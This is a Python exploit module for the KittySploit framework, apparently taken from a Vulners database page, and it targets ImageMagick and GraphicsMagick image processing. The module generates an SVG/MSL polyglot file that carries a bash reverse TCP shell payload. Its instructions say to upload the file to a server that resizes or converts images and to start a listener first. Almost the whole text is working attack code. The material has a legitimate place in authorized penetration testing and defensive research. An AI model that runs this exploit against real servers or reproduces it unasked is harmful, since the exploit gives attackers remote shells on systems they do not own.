ImageMagick PDF/SVG Polyglot Server-Side RCE
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pathlib import Path
from typing import List
from kittysploit import *
from lib.pdf.mixins import PdfFileformatExploitMixin
from lib.pdf.rce import create_imagemagick_polyglot_rce
class Module(Exploit, PdfFileformatExploitMixin):
__info__ = {
"name": "ImageMagick PDF/SVG Polyglot Server-Side RCE",
"description": (
"Generate an SVG/MSL polyglot that executes a framework payload when processed "
"by vulnerable ImageMagick/GraphicsMagick delegate chains. By default only the "
"file is generated (disablePayloadHandler=true); set disablePayloadHandler false "
"to listen immediately after generation. Upload the generated file to an "
"application that converts or resizes images. Authorized server-side RCE testing only."
),
"author": ["KittySploit Team"],
"cve": [],
"references": [
"https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html",
],
"tags": ["pdf", "imagemagick", "fileformat", "rce", "polyglot", "authorized-only"],
"platform": Platform.UNIX,
"arch": [Arch.X86, Arch.X64],
"payload": {
"default": "payloads/singles/cmd/unix/bash_reverse_tcp",
"arch": [Arch.X86, Arch.X64],
"platform": [Platform.UNIX, Platform.LINUX],
"category": PayloadCategory.SINGLE,
},
"agent": {
"risk": "intrusive",
"effects": ["active_exploitation"],
"expected_requests": 0,
"reversible": False,
"approval_required": True,
"produces": ["exploit_paths"],
"cost": 1.0,
"noise": 0.3,
"value": 1.0,
"requires": {
"min_endpoints": 0,
"min_params": 0,
"tech_hints_any": [],
"tech_hints_all": [],
"specializations_any": [],
"risk_signals_any": [],
"auth_session": False,
"capabilities_any": [],
"capabilities_all": [],
"confidence_min": {},
"confidence_min_any": {},
"endpoint_pattern_any": [],
"param_any": [],
"api_surface_ready": False,
},
"chain": {
"produces_capabilities": [{"capability": "rce", "from_detail": ""}],
"consumes_capabilities": [],
"option_bindings": {},
"suggested_followups": [],
},
},
}
MODULE_TITLE = "ImageMagick polyglot reverse shell"
OUTPUT_BASENAME = "imagemagick_polyglot.svg"
def check(self):
return {
"vulnerable": True,
"reason": "File-format exploit: delivers weaponized SVG for manual upload",
"confidence": "medium",
}
def _generate(self, output_path: Path) -> List[Path]:
cmd = str(self.payload or "").strip()
if not cmd:
raise ValueError("No payload generated — set PAYLOAD and LHOST/LPORT first")
create_imagemagick_polyglot_rce(output_path, cmd)
return [output_path]
def run(self):
return self.run_pdf_fileformat(
self._generate,
delivery_hint=(
"Upload the generated SVG to a target that processes images with "
"ImageMagick/GraphicsMagick. Start a listener matching LHOST/LPORT before upload."
),
)
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
21 Jul 2026 12:37Current
5.9Medium risk
Vulners AI Score5.9